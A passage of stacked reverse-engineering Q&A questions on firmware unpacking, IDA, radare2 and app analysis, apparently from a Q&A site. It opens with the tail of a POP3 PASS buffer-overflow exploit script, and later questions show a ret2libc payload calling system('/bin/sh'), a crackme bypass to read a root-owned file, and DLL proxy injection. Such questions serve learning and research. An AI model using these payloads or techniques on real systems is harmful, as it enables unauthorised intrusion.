string = "A" * 2606 + "B" * 4 + badCharacters

print("Fuzzing PASS with %s bytes" % len(string))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1', 110))
s.recv(1024)
s.send(b'USER wolf\r\n')
s.recv(1024)
s.send(b'PASS ' + string.encode() + b'\r\n')
s.send(b'QUIT\r\n')
s.close()
</code>```


问:
Reverse engineering TP-Link TD-W8961N V3
I'm trying to reverse engineering the router's TP-Link TD-W8961N V3 firmware.
After following the same question here
i used the script zynos.py for unpacking the firmware and i got some files

```<code>-rw-r--r-- 1 root root    2048 Sep 30 03:33 CertFile.rom
-rw-r--r-- 1 root root  350208 Sep 30 03:33 fmmudata
-rw-r--r-- 1 root root    1024 Sep 30 03:33 headmmu
-rw-r--r-- 1 root root      28 Sep 30 03:33 HTPCode
-rw-r--r-- 1 root root   32768 Sep 30 03:33 HTPCode.rom
drwxr-xr-x 2 root root    4096 Sep 30 15:54 _HTPCode.rom.extracted
-rw-r--r-- 1 root root    2048 Sep 30 03:33 huffmmu
-rw-r--r-- 1 root root    1024 Sep 30 03:33 LedDefi
-rw-r--r-- 1 root root    8192 Sep 30 03:33 LogoImg
-rw-r--r-- 1 root root    8192 Sep 30 03:33 LogoImg2
-rw-r--r-- 1 root root    3072 Sep 30 03:33 MemMapT
-rw-r--r-- 1 root root      28 Sep 30 03:33 RasCode
-rw-r--r-- 1 root root 1163194 Sep 30 03:33 RasCode.rom
drwxr-xr-x 2 root root    4096 Oct  1 18:39 _RasCode.rom.extracted
-rw-r--r-- 1 root root    8192 Sep 30 03:33 RomDefa
-rw-r--r-- 1 root root    1024 Sep 30 03:33 Rt11nE2p
-rw-r--r-- 1 root root     512 Sep 30 03:33 SIDList.rom
-rw-r--r-- 1 root root    4096 Sep 30 03:33 SKUTBL.rom
-rw-r--r-- 1 root root  245760 Sep 30 03:33 StrImag
-rw-r--r-- 1 root root    1024 Sep 30 03:33 termcap
</code>```

I used binwalk to extract the files HTPCode.rom and RasCode.rom.
After looking at the zynos.md, i find more informations about the extracted files

```<code>Memory mapping and objects
All inspected devices so far contain at least these objects: MemMapT, BootBas, BootExt, RasCode, RomDefa, termcap.

The MemMapT object maps the memory mapping table -- its actual location and size in ROM.
The BootBas object maps the BootBase code -- the initial program loader for the device. It is not actually contained within the firmware update image, but I have seen a few firmware releases from ZyXEL that contain BootBase update in a separate file. Apart from boot code, BootBase contains vendor and model names. BootBase is rather small, typically 16K, but then, it does not need to do much except loading stage 2.
The BootExt object maps the BootExtension code -- stage 2 program loader. It also contains rudimentary debugging facilities allowing to recover the device in case of e.g. problems with configuration. BootExtension is responsible to load actual ZyNOS code.
The RasCode object contains the OS image (named RAS -- acronym?) -- the final stage.
The RomDefa object contains ROMFILE with default configuration settings.
The termcap object contains what looks like, well, termcap description. I am not sure this is actually used anywhere in code.
Objects with unknown contents:

DbgArea
RomDir2
Depending on the device, the following objects may be present:

The HTPCode object contains Hardware Test Program, which can be loaded via BootExtension
</code>```

So the file that containg OS image is RasCode
i used binwalk to get more info about the file

```<code>--------------------------------------------------------------------------------
1225740       0x12B40C        TP-Link firmware header, firmware version: -24640.27395.-4500, image version: " Co., Ltd.", product ID: 0x65737320, product version: 1349478766, kernel load address: 0x11F50, kernel entry point: 0xEFFFFFFF, kernel offset: 1693673252, kernel length: 4156967956, rootfs offset: 3556796160, rootfs length: 469800426, bootloader offset: 3573675958, bootloader length: 1106012034
2162096       0x20FDB0        Neighborly text, "neighbor loss) fail"
2165188       0x2109C4        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 8313
2178704       0x213E90        Neighborly text, "neighbordown: can't shutdown OSPF task completely"
2189282       0x2167E2        ZyXEL rom-0 configuration block, name: "spt.dat", compressed size: 769, uncompressed size: 259, data offset from start of block: 28805
2270236       0x22A41C        HTML document footer
2270553       0x22A559        HTML document header
2274256       0x22B3D0        XML document, version: "1.0"
2340561       0x23B6D1        Base64 standard index table
2353193       0x23E829        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131
2353305       0x23E899        Copyright string: "Copyright (c) 1994 - 2004 ZyXEL Communications Corp."
2353358       0x23E8CE        Copyright string: "Copyright (c) 2001 - 2006 TrendChip Technologies Corp."
2353413       0x23E905        Copyright string: "Copyright (c) 2001 - 2006 "
2353807       0x23EA8F        ZyXEL rom-0 configuration block, name: "dbgarea", compressed size: 0, uncompressed size: 0, data offset from start of block: 16
2365690       0x2418FA        eCos RTOS string reference: "ecost"
2419868       0x24EC9C        SHA256 hash constants, big endian
2421932       0x24F4AC        Base64 standard index table
2422880       0x24F860        DES PC1 table
2422936       0x24F898        DES PC2 table
2423096       0x24F938        DES SP1, big endian
2423352       0x24FA38        DES SP2, big endian
2462937       0x2594D9        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 135
2480824       0x25DAB8        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131
2521748       0x267A94        Base64 standard index table
2564056       0x271FD8        XML document, version: "1.0"
2570560       0x273940        XML document, version: "1.0"
2571748       0x273DE4        XML document, version: "1.0"
2572716       0x2741AC        XML document, version: "1.0"
2577536       0x275480        XML document, version: "1.0"
2581712       0x2764D0        XML document, version: "1.0"
2584984       0x277198        XML document, version: "1.0"
2590372       0x2786A4        XML document, version: "1.0"
2596352       0x279E00        XML document, version: "1.0"
2598488       0x27A658        XML document, version: "1.0"
2605596       0x27C21C        XML document, version: "1.0"
2622128       0x2802B0        XML document, version: "1.0"
2631608       0x2827B8        XML document, version: "1.0"
2640368       0x2849F0        XML document, version: "1.0"
2641804       0x284F8C        XML document, version: "1.0"
2654188       0x287FEC        XML document, version: "1.0"
2674971       0x28D11B        Copyright string: "copyright"
2684587       0x28F6AB        Copyright string: "copyright" >"
2786992       0x2A86B0        CRC32 polynomial table, big endian
2880544       0x2BF420        Copyright string: "Copyright (c) 1996-2010 Express Logic Inc. * ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 SN: 3182-197-0401 *"
</code>```

binwalk -A show that the file have MIPS instructions and the binwalk output before show that it's a RTOS
ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0

I tried to load the file into IDA but without success

So my question is how can i work with this RTOS image to understand more about the firmware and find more informations.

The firmware can be downloaded at : https://www.tp-link.com/en/support/download/td-w8961n/v3/#Firmware

Thanks


问:
Radare2: Running executable from a specific point
I am using radare2 to reverse engineer a standard crackme executable. I have obtained the password, but now I need use the program to read & print a restricted file to which the executable has access.

I can see from the executable's main function through radare2 that there is a "login" section that asks for a password and this then proceeds to execute a system command that prints the restricted file.

However, it seems the program flow skips past this section and terminates the program.

Given an address or a string reference, how can I use radare2 to execute the program from a certain point so that I can avoid skipping it?

From this:

```<code>entry point 0x00000
|
|  desired section 0x000c8 "enter password: "
v
termination 0x000f9 "no entry"
</code>```

To this:

```<code>entry point
|
|_-> desired section 0x000c8 "enter password: " -> 0x000ca "cat /root/file.txt" -
                                                                                |
termination 0x000f9 <-___________________________________________________________|

</code>```


问:
APi mocking and redirecting target to localhost api
Suppose I have got an application which sends request (GET,POST) to google.com:1010/api/req

Is it possible to simulate the api on localhost and redirect requests sent to google.com:1010/api/req to the mimicked api on localhost, something like localhost:1010/api/req?

Are the any tools to facilitate this process?


问:
Legality of publishing decompiled code
The situation is the following:

Binary file of a computer game from the 1980s. The binary file ran on a platform that doesn't exist anymore (not x86).

The binary file does not contain any symbols or debug information

Manual decompilation of the binary file into human readable source code, giving meaningful names to variables, adding comments, etc. (i.e. not just running a disassembler over the binary)

Not possible to find the original authors and ask for permission (company doesn't exist anymore), hence my question here.

My question:

What is the legal situation in USA and EU regarding publication of the reverse-engineered source code, e.g. on github? I suppose the art work (gfx and sound) is protected, but what about the source code itself? I see that the reverse-engineered source code of the old Pokemon games has been online for many years, same for the C64 kernal and the Amiga microkernel (exec), but that doesn't mean of course that it is legal to do so.

Note: There have been already a couple of questions on the legal aspects of reverse engineering here, but none of them fits my situation. For example
here, here, or here.
Most of the existing questions are about using reverse-engineered code in your own code. This is not the case here.

Title: Legality of publishing decompiled code


问:
Android - capture screen with the lowest latency via android native code
I'm trying to catch small fragment of screen during working some Android app which I'm currently reversing. I've tried screencap with various calls but minimum latency which I was able to achieve was 0.8s. I would like to go below 0.1s to get at least 10 FPS. For me it's enough to develop small bin tool in android native code which I'll push on the phone and then run via adb shell.

I've digged a little into screencap.cpp source code and found following callstack:
screencap -> ScreenshotClient::update -> ComposerService->captureScreen -> remote()->transact

Anyway any useful include in sources above are not visible anywhere in android ndk.

Does anybody good in native android code could give me any advice which ndk lib/include can return current screen buffer? I've tried to get buffer from /dev/graphics/fb0 but it's blocked in my phone.

Thanks in advance!


问:
Decode bitmaps from Director .dxr files
I'm trying to extract bitmaps from an old Macromedia Director protected .dxr file. I was able to find some information about the file structure from here (it turns out to be a XFIR container, the little endian variant of RIFX), which allowed me to find the specific chunk (called BITD chunk) in which the bitmap is stored, there is also an ALFA chunck which stores (I guess the transpareny of each bitmap pixel). The bitmap is supposed to be losslessly compressed with RLE and to only store raw color data (no size, bit depth, pallette,...)

I have generated a few simple bitmaps with the ancient macromedia and this is what I found out:

43 columns, 20 rows rectangle. Color 0xcc6666:

The string "d6ff d6cc d666 d666" is repeated 20 times.

Square of size 20. Color 0xcc6666:

The string "edff edcc ed66 ed66" is repeated 20 times.

A similar pattern arises with a square of size 9 and different colors.

A row of 5 0x00ffff color pixels followed by another 5 0x000000 color pixels.

The string "ff00 ffff" is repated 5 times followed by the string "ff00 0000" repeated 5 times.

A row of 10 0x000000 pixels:

The string "0000 0000" is repeated 9 times, followed by "ff00 0000" one last times.

A row of 11 0x669999 pixels:

The string "f800 01ff fff6 66f6 99f6 9900" is displayed just once.

For here on, I'm unable to recognize any pattern. Any of you recognize this particular format as a part of an standard one that can be opened with some usual program? Any general advise or hint?

Title: Decode bitmaps from Director .dxr files


问:
idapython: how to apply hexrays types to disassembly interface
I am using idapro 7.5 to get variable information from binaries.

Consider following simple code:

```<code>#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  int i, N, array[10];

  N = atoi(argv[10]);

  array[N] = N;
  array[12] = N;
  array[0] = 8;

  for(i=0 ; i<N ; i++)
    array[i] = N;

  printf("%d %d\n", array[12], array[5]);
  return 0;
}
</code>```

Using idapython, I can get function information like stack variables, their sizes, types, etc. using something like -

```<code>for ea in idautils.Functions():
    for mem in ida_struct.get_struc(idc.get_frame_id(ea)).members:
        name = ida_struct.get_member_name(mem.id)
        size = ida_struct.get_member_size(mem)
        offset = mem.get_soff()
</code>```

Similarly, I can get global variable information like their name and addresses.

Now, this works fine (particularly in above binary) and I can get array with a size of 12 on correct offset (this makes sense, as I have compiled binary using -g).

But, when I strip the binary, I can't get array size correctly with the above code (this is expected). When I use hex rays -

Here, ida decompiler was able to recover correct array bounds using decompiler algorithms. And I can also synchronize this with disassembly interface using Synchronize with option in Gui (I assume synchronize function is used to apply predicted types or other information to disassembly interface - I maybe wrong here, please forgive my ignorance).

I would like to know if there is any way I can do that using idapython (I can see some endpoints like sync_sources in ida_kernwin), so that I can use the above code to get variable properties predicted using hex rays. I am familiar with ghidra and you can apply ghidra decompiler predictions to the listing analysis (just like synchronization in ida) using:

```<code>HighFunctionDBUtil.commitLocalsToDatabase(high_func, SourceType.ANALYSIS)
</code>```

Thus variables get updated in the analysis.

Edit: I can manually get function variables using hexrays decompiler
interface like -

```<code>def get_local_vars(ea, stack_size):
    # can be used to get member size, type, etc.
    for var in ida_hexrays.decompile(ea).get_lvars():
        print(var.name)
        print(-stack_size + var.get_stkoff())
        print(var.width)
</code>```

Still, I was not able to find an automatic way to apply hexrays
decompiler interface or sync hexrays decompiler interface with
disassembly interface.


问:
How can I rename location in radare2?
In radare2 I would like to be able to rename a node in the graph view. I though setting a flag to the entry of the graph node would also change its title, but the address of the nodes still shows instead.

How can I set the name based on the flag?
Thanks for any help.

Title: How can I rename location in radare2?


问:
how to get all "called functions" in idapython
I am using following function to generate a call graph using idapython:

```<code>def generate_graph():
    callees = dict()
    # loop through all functions
    for function_ea in idautils.Functions():
        f_name = idc.get_func_name(function_ea)
        # For each of the incoming references
        for ref_ea in idautils.CodeRefsTo(function_ea, 0):
            # Get the name of the referring function
            caller_name = idc.get_func_name(ref_ea)
            # Add the current function to the list of functions
            # called by the referring function
            callees[str(caller_name)] = callees.get(str(caller_name), set())
            callees[str(caller_name)].add(str(f_name))
    return callees

function_graph = generate_graph()
print(function_graph)
</code>```

This gives me a dictionary with function names as a key and functions called by that function as a value.

For e.g. if "main" calls "foo" and "func", then the dictionary will be:

main:{"foo", "func"}

This is working correctly if function is called directly. But in the case like:

```<code>void function1(char * buf)
{
  /*  BAD  */
  buf[4105] = 'A';
}

int main(int argc, char *argv[])
{
  void (*fptr)(char *);
  char buf[10];

  fptr = function1;

  fptr(buf);

  return 0;
}
</code>```

As the function gets called through a register, like:

401140: call   rdx

Is there any way I can modify above script (or create a new) to detect such cases?


问:
system doesn't invoke /bin/sh
I am learning libc shellcode attacks and trying to execute /bin/sh from system

I can execute other commands from system like whoami and ls -a but can not run /bin/sh

the following works

```<code>string = b"ls -a\0"
# system, _exit, system arg
b'\xf0\xef\x04\x08', b'\xe3\xd0\x06\x08', string_addr.to_bytes(4, byteorder='little')
</code>```

but this doesn't work

```<code>string = b"/bin/sh\0"
# system, _exit, system arg
b'\xf0\xef\x04\x08', b'\xe3\xd0\x06\x08', string_addr.to_bytes(4, byteorder='little')
</code>```

what is going wrong here?

Title: system doesn't invoke /bin/sh


问:
Easy way to attach a DLL to a Game
I like to attach a dll to a game to add more features.

The DLL is 95% done, the problem is find the best and easy way to load this dll from the Game.

My idea is use this technique:

```<code>dinput_ori.dll  (old dll).
dinput.dll      (my dll that point to dinput_ori.dll)
</code>```

I don't need to access to any member of original DLL, but only load my dll.

I searching for a generic dll source code that do this:

```<code>bool WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{

    std::string DLLFileOri = "dinput_ori.dll";

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        // Load dll

        LoadOriDll(DLLFileOri);

        MsgBox("This DLL was loaded.");

        break;

    case DLL_PROCESS_DETACH:

        // Close the DLL

        UnloadOriDll(DLLFileOri);

        break;
    }

    return true;
}
</code>```

in this case the name of my DLL is "dinput.dll".

There is a generic source code that do this ?

Thanks !

Title: Easy way to attach a DLL to a Game


问:
Change the behavior of any running process
Would it be possible to develop a program that decompiles the instructions of a running process, for example into a C-like language, and allows them to be modified and then injected into the process itself, changing its behavior?</p>


问:
How can I tell whether or not a given library method is being referenced by a consumer program statically in OOP languages?
Preface: This question is about source code reverse engineering and static analysis. Meaning, there is no built code available but I have access to the source code of the program.

Imagine I'm looking at some source code for a Java library. I know that in class foo, there is a public method bar() that either contains a bug or calls another private method which contains the bug.

With no prior knowledge of the codebase, and by only looking at source code, what are some techniques I can employ to find out if a given program that consumes this Java library, potentially calls the functionality, or triggers execution of the code with the bug in it?

I'm looking to answer the question "Does this program use the vulnerable method/function either directly or indirectly?" I know that technically it may not be possible without running the program to determine if the functionality is actually called because there may be a branch that is resolved at runtime based on external input. However, I only need to know whether or not the method has any chance at or could potentially be called.

I know how to find out if a method is used directly. I will search for the name of the class with vulnerable/buggy code throughout the program consuming the library, or even just search for the method itself. However, if the buggy function is not directly called by that program, this is where I am needing some tips. If the method is private or internal, it will never be directly called by the consuming program, but I've also seen cases where a method is public but isn't directly called by the consuming program, however, another method in the library calls it.

This has made it difficult to find out if code using a given library is vulnerable to a bug. What are some tips to statically hunt down these references for Java? If you have relevant information that is for another OOP language, that could be useful here as well.


问:
extracting png file from app
I have extracted some png files from one app. I cannot open them using android gallery neither on windows.

Can you help understanding what is really this file and what should be changed in order to view it?

here are the first few lines of the HEX code of the png.

67 3e 65 09 38 a1 25 50 42 d3 14 be c8 23 b1 3d
06 e2 4e 38 f7 c0 36 58 7d 06 2b 1c af 10 6b 4c
bd 1f dd ae 7a 9d 68 8c 89 26 22 7a ea ca 66 b8
99 80 9e a4 48 1b 1b a3 22 96 b6 08 2f 93 c3 c1
57 12 d1 8f 31 22 02 7c ac 29 32 5a d3 cb 48 67
c5 d1 09 9d 82 2a 58 d6 3d 41 47 7a fa de c7 88

Edit:The file is named with png extension. I extracted them from data/data folder. Tried to open it on windows. The above code is when opening it with HEX editot

Title: extracting png file from app


问:
How do I find the function that draws a window on android?
I have an application that recently disabled support for one of the features I used for legal reasons. Looking at the decompressed file size and count of the new version compared to the old version shows that they are nearly identical, so I guess the feature was only disabled and not removed. I want to override the lock. The window I mentioned in the title is shown before that feature and covers it. I want to figure out what controls that window. Where should I even start?</p>


问:
Lexer and parser for .asm file produced by objdump
Is there any existing project that parses the x86 disassembly file or .asm produced by the objdump or IDA pro using the lexer and parser library in python or any other programming language?


问:
Reverse exe file compiled by pyinstaller
I am trying to get python source code from only exe file compiled by pyinstaller.

I used the pyinstxtractor.py and got extracted folder.

And then what or how should I do?

Or could you explain other ways?

Any help will be appreciated.


问:
Binwalk on flash dump yielding useless files and empty file systems
I have been investigating some routers by desoldering their nand flash and dumping them using a flash programmer.

However when I use binwalk on these dumps I end up with fragments of files mixed in with corrupted JFFS2 file systems. I have done this on 2 different routers so far. Anyone have any ideas what might be happening here?

Here is an example of the binwalk output on one of the dumps:

```<code>❯ binwalk NAND512W3A@TSOP48_5603.BIN
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64084         0xFA54          JFFS2 filesystem, big endian
227856        0x37A10         HTML document header
227956        0x37A74         JFFS2 filesystem, big endian
503556        0x7AF04         JFFS2 filesystem, big endian
1970268       0x1E105C        JFFS2 filesystem, big endian
3057708       0x2EA82C        Zlib compressed data, compressed
3136556       0x2FDC2C        JFFS2 filesystem, big endian
3380404       0x3394B4        JFFS2 filesystem, big endian
3405000       0x33F4C8        JFFS2 filesystem, big endian
4878860       0x4A720C        JFFS2 filesystem, big endian
5263164       0x504F3C        Zlib compressed data, compressed
5263228       0x504F7C        JFFS2 filesystem, big endian
5555588       0x54C584        JFFS2 filesystem, big endian
6068892       0x5C9A9C        Zlib compressed data, compressed
6069200       0x5C9BD0        JFFS2 filesystem, big endian
6086316       0x5CDEAC        Unix path: /var/wlansrom/bcm4331_map.bin
6086348       0x5CDECC        JFFS2 filesystem, big endian
6316000       0x605FE0        Zlib compressed data, compressed
6316412       0x60617C        JFFS2 filesystem, big endian
7022464       0x6B2780        Zlib compressed data, compressed
-- SNIP --
</code>```

Some of the zlib compressed data does compress to fragments of actual files on the router. The HTML documents are also fragments of the router's HTML webpages but truncated The JFFS2 filesystems are all corrupted and yield nothing no matter what I try.

I would love to be able to extract the file system/s present on this thing, but I just cant see a way to do it. Any help would be very much appreciated :D


问:
Forcing embedded libcurl to disable SSL verification
I am trying to decrypt HTTPs communications in a binary that I know has been statically linked with cURL. How can I force curl to not verify SSL certificates for fiddler to intercept? I am using the environment variable "all_proxy" for cURL to make it use the fiddler proxy, but it won't accept the self-signed cert from fiddler. I have the fiddler cert trusted in my certificate store.</p>